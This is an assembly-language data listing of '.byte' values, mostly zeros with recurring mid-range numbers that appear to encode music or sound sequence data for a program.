.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 46
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 46
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 34
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 34
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 188
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 64
.byte 0
.byte 79
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 0
.byte 65
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 0
.byte 60
.byte 0
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 62
.byte 0
.byte 0
.byte 60
.byte 33
.byte 45
.byte 64
.byte 0
.byte 76
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 81
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 76
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 33
.byte 0
.byte 64
.byte 69
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 41
.byte 60
.byte 67
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 69
.byte 60
.byte 77
.byte 60
.byte 209
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 81
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 67
.byte 0
.byte 65
.byte 60
.byte 207
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 48
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 29
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 65
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 64
.byte 48
.byte 79
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 53
.byte 65
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 41
.byte 60
.byte 0
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 62
.byte 0
.byte 0
.byte 60
.byte 33
.byte 45
.byte 64
.byte 0
.byte 72
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 185
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 69
.byte 64
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 41
.byte 67
.byte 65
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 69
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 72
.byte 0
.byte 0
.byte 60
.byte 38
.byte 38
.byte 62
.byte 178
.byte 74
.byte 60
.byte 69
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 190
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 62
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 81
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
